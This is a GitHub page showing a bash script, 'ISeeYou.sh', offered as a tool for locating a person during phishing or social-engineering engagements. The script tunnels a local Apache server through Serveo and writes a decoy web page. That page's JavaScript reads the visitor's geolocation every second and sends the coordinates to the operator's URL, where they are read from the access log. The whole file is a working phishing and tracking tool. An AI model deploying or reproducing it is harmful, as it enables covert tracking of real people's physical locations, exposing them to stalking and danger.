-
Notifications
You must be signed in to change notification settings - Fork 138
/
ISeeYou.sh
80 lines (69 loc) · 3.95 KB
/
ISeeYou.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/bin/bash
#Serveo to host page using remote port forwarding
xterm -e ssh -R 80:localhost:80 serveo.net & clear
echo "
██╗ ███████╗███████╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗
██║ ██╔════╝██╔════╝██╔════╝ ╚██╗ ██╔╝██╔═══██╗██║ ██║
██║ ███████╗█████╗ █████╗ ╚████╔╝ ██║ ██║██║ ██║
██║ ╚════██║██╔══╝ ██╔══╝ ╚██╔╝ ██║ ██║██║ ██║
██║ ███████║███████╗███████╗ ██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═════╝
[+] Author: Viral Maniar
[+] Twitter: @ManiarViral
[+] Description: This tool uses Serveo to find the exact location of the user during social engineering or phishing engagements.
"
sleep 5
read -p 'Enter the URL generated by Serveo: ' varurl
echo "<!DOCTYPE html>
<html>
<head>
<title>I See you!</title>
<style type=\"text/css\">
body {
background-image: url(\"https://user-images.githubusercontent.com/3501170/55271108-d11b3180-52fb-11e9-97e2-c930be295147.png\");
background-size: 1650px 1150px;
background-repeat: no-repeat;
}
</style>
</head>
<body>
<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\" type='text/javascript' ></script>
<script type='text/javascript'>
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( \"GET\", theUrl, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
function autoUpdate() {
navigator.geolocation.getCurrentPosition(function(position) {
coords = position.coords.latitude + \",\" + position.coords.longitude;
url = \""$varurl"/logme/\" + coords;
httpGet(url);
console.log('should be working');
setTimeout(autoUpdate, 1000);
})
};
\$(document).ready(function(){
autoUpdate();
});
</script>
</body>
</html>" > index.html
mv index.html /var/www/html/index.html
service apache2 start
echo "
██╗ ███████╗███████╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗
██║ ██╔════╝██╔════╝██╔════╝ ╚██╗ ██╔╝██╔═══██╗██║ ██║
██║ ███████╗█████╗ █████╗ ╚████╔╝ ██║ ██║██║ ██║
██║ ╚════██║██╔══╝ ██╔══╝ ╚██╔╝ ██║ ██║██║ ██║
██║ ███████║███████╗███████╗ ██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═════╝
[+] Author: Viral Maniar
[+] Twitter: @ManiarViral
[+] Description: This tool uses Serveo to find the exact location of the user during social engineering or phishing engagements.
" > /var/log/apache2/access.log
xterm -e tail -f /var/log/apache2/access.log &
clear
exit